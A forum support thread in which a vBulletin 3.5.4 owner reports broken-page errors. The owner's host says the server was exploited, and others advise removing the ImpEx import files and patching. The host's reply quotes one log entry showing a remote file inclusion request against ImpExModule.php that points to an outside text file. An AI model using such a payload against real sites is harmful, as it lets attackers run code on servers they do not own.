    I'm getting the error message below, where my forum home page should be.

    VB 3.5.4

    Please advise.

    Warning: Unknown(/home/hostbid/public_html/index.php): failed to open stream: Permission denied in Unknown on line 0

    Warning: Unknown(/home/hostbid/public_html/index.php): failed to open stream: Permission denied in Unknown on line 0

    Warning: (null)() [function.include]: Failed opening '/home/hostbid/public_html/index.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in Unknown on line 0
    Thanks!

    Do you have a plugin installed, or include files somewhere? Is your first page the vbulletin one or for example a frontpage/cms page that's including the index.php

      Thanks for reply.

      I do have some plug ins installed, but they are installed a long time and have not caused any problems in the past.

      There is no other CMS or webpages of any type installed on the site. The site does not consist of anything but the VB forum.

        I've been in contact with my host about this problem, they've given me the response below;

        Your server has been compromised and used to spam and attack other networks. The following files have been disabled due to being abused through cross-site scripting or remote file inclusion exploits. They need to be updated and secured or removed. I've included an entry from the log files that show how these files are being exploited:

        1. hostbidder.com

        /impex/ImpExModule.php?systempath=http://geocities.yahoo.com.br/cudarola/neg.txt?

        Any suggestions on what I need to do to fix this would be most appreciated?

          Can someone please offer a suggestion on how I can fix this?

          Our community has been down for a number of days now, and I want to get it back up and running?

            There was an exploit some time ago that was using impex files. I don't recall whether or not it was applicable to version 3.5.4 of vbulletin or not, but am sure that vBulletin has consistently advised that impex files be removed from your server after you have completed an import project.

            For example, see this thread: http://www.vbulletin.com/forum/showt...=impex+exploit

            Have you considered upgrading your site to the latest version, which is much more secure? Have you installed all the security patches that have been offered? For example see this Thread:

            http://www.vbulletin.com/forum/showt...=impex+exploit

            Regards,
